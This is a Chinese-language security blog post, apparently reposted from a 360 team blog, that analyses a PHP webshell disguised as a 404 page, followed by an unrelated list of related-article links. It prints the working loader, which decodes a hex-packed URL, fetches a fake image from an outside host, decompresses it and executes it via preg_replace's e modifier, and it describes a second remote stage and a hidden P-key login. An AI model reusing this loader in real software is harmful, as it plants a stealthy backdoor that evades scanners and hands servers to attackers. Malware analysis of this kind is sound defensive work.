PHP后门新玩法:一款猥琐的PHP后门分析
0x00 背景
近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。
0x01 细节
Webshell代码如下:
<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>
关键看下面这句代码,
sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())
这里执行之后其实是一张图片,解密出来的图片地址如下:
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,
<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>
如图所示:
分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,如下图:
首先我先看一下它的前端html代码,其中有这么一段js程序
document.onkeydown = function(e) {
var theEvent = window.event || e;
var code = theEvent.keyCode || theEvent.which;
if (80 == code) {
$("login").style.display = "block"
}
}
这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键
所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),如图所示:

再回到服务端php代码中,可以看到程序用的是对称加密,并且将登陆密码作为加密key,代码如图所示:

再看init()的逻辑

如图所示,先看这句代码
$true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));
根据这个解密逻辑我们可以推出,这里其实是将字符串true做了以下加密处理,
unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')), $_POST['key'] , true))
所以当输入正确密码的时候@gzuncompress返回字符串true,然后程序调用setcookie给客户端返回$_COOKIE['key'],然后值得提一下的是后面这个exit('{"status":"on"}'),这里它与前端代码联系很紧密,我们看前端有个callback函数,如下
function callback() {
var json = eval("(" + this.responseText + ")");
if (json.status=='on'){
window.location.reload();
return;
}
if (json.notice) {
$("notice").style.display = "block";
$("notice").innerHTML = json.notice;
sideOut();
}
}
这里执行exit('{"status":"on"}')会返回json串{"status":"on"},此时前端js代码classback()获取到此响应会执行window.location.reload()刷新,再次请求正好带上前面获取的cookie,然后执行判断COOKIE的逻辑,如图所示:
这里跟前面POST的逻辑一样,下面当判断为'true'以后,这里又请求了一张图片,pack出来地址为http://2012heike.googlecode.com/svn/trunk/code.jpg,然后调用_REQUEST获取图片内容,解密解压之后再eval,分析之后发现code.jpg中才是真正的webshell经过加密压缩之后的内容。这里我跟踪了一下代码打印出了真正执行的webshell的内容:

登陆成功之后的webshell如下图:

0x02 总结
这是一个高度隐蔽的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经过层层加密处理之后保存到图片当 中,丢到服务器上只留下一个url,并且url还是经过加密处理的,所以对外看没有任何特征可寻,过掉了大多数waf以及杀软的查杀。。作者的利用思路新 颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!
from:http://blog.wangzhan.360.cn/?p=65
PHP后门新玩法:一款猥琐的PHP后门分析的更多相关文章
- 自定义 checkbox 新玩法 ?
自定义 checkbox 新玩法 ? 第一步:selector 编写 drawable/selector_checkbox_voice.xml <?xml version="1.0&q ...
- 【转帖】Moodle平台的5个新玩法
[玩坏Moodle平台]Moodle平台的5个新玩法 1.RSS订阅 Moodle平台可以导入外部博客(或其他提供RSS的服务),并显示在Moodle内置的博客系统中.无论是自己的个人网站还是他人的博 ...
- Odoo 库存管理-库存移动(Stock Move)新玩法
库存移动(Stock Move)新玩法 Odoo的库存移动不仅仅是存货在两个“存货地点”之间的移动的基本概念了,他们可以被“串联”在一起,可以用来生成或改变其对应的拣货单 (Picking).链式库存 ...
- MySQL高可用新玩法之MGR+Consul
前面的文章有提到过利用consul+mha实现mysql的高可用,以及利用consul+sentinel实现redis的高可用,具体的请查看:http://www.cnblogs.com/gomysq ...
- 摹客iDoc「标注」新玩法!这些细节让你爱不释手(201903-2版本更新)
哈喽小伙伴们,我们又见面啦!没错,小摹就是来告诉大家:摹客iDoc又双叒叕升级了!这次又上线了许多新玩法,在此之前,小摹先带大家温习一下iDoc以往的知识点: 攻城狮查看标注的利器 —— 标注信息智能 ...
- Chrome 控制台新玩法-向输出到console的文字加样式
Chrome 控制台新玩法-向输出到console的文字加样式 有兴趣的同学可以文章最后的代码复制贴到控制台玩玩. Go for Code 在正常模式下,一般只能向console 控制台输出简单的文字 ...
- Github 新玩法 -- Profile ReadMe
Github 新玩法 -- Profile ReadMe Intro 今天刷 Github 的时候偶然发现一个新的玩法,Github Profile ReadMe,可以在个人的 Profile 页面展 ...
- WEB安全新玩法 [1] 业务安全动态加固平台
近年来,信息安全体系建设趋于完善,以注入攻击.跨站攻击等为代表的传统 Web 应用层攻击很大程度上得到了缓解.但是,Web 应用的业务功能日益丰富.在线交易活动愈加频繁,新的安全问题也随之呈现:基于 ...
- 老司机带你体验SYS库多种新玩法
导读 如何更加愉快地利用sys库做一些监控? 快来,跟上老司机,体验sys库的多种新玩法~ MySQL5.7的新特性中,非常突出的特性之一就是sys库,不仅可以通过sys库完成MySQL信息的收集,还 ...
随机推荐
- input按钮上传按钮样式
主要是定位和不透明度来实现: <!DOCTYPE html> <html lang="en"> <head> <meta charset= ...
- 笑谈Android图表-MPAndroidChart
MPAndroidChart是一款基于Android的开源图表库,MPAndroidChart不仅可以在Android设备上绘制各种统计图表,而且可以对图表进行拖动和缩放操作,应用起来非常灵活.MPA ...
- Android如何缩减APK包大小
代码 保持良好的编程习惯,不要重复或者不用的代码,谨慎添加libs,移除使用不到的libs. 使用proguard混淆代码,它会对不用的代码做优化,并且混淆后也能够减少安装包的大小. native c ...
- 常用meta标签举例说明
本文是作者从百度百科和其他从网页中搜索到的资料,经综合整理,把常用meta标签列举并示例说明,仅供参考. 1.<meta charset="UTF-8"> --- ch ...
- 现代JavaScript
1.async(异步)属性以及defer(延迟)属性 2.load事件是在所有资源被完全加载后才触发 3.domready,在DOM加载之后以及资源加载之前被触发,以DOMContentLoaded的 ...
- UITextField最大字符数和最大字节数的限制
UITextView,UITextfield中有很多坑,网上的方法也很多,但是用过之后暂时没有发现一个好用.这里我给大家几组测试用例可以一试,为啥不好用. 限制10个字节,输入2个Emoj之后是8个字 ...
- Codeforces Round #341 (Div. 2)
在家都变的懒惰了,好久没写题解了,补补CF 模拟 A - Wet Shark and Odd and Even #include <bits/stdc++.h> typedef long ...
- Hash(LCP) || 后缀数组 LA 4513 Stammering Aliens
题目传送门 题意:训练指南P225 分析:二分寻找长度,用hash值来比较长度为L的字串是否相等. #include <bits/stdc++.h> using namespace std ...
- iOS 关于iOS开发中的delegate
有A.B两个对象,A要完成某件事,想让B帮它做. 这时候,A中就要实例化一个B的对象b,A还要在头文件中声明协议,然后在B中实现协议中对应的方法. 这时候再把A的delegate设置为b,在需要的地方 ...
- 【转载】Android app 安全测试调研及执行
本文来源于:http://testerhome.com/topics/2209 一.通过在线工具进行测试 1.腾讯金刚审计系统http://service.security.tencent.com 优 ...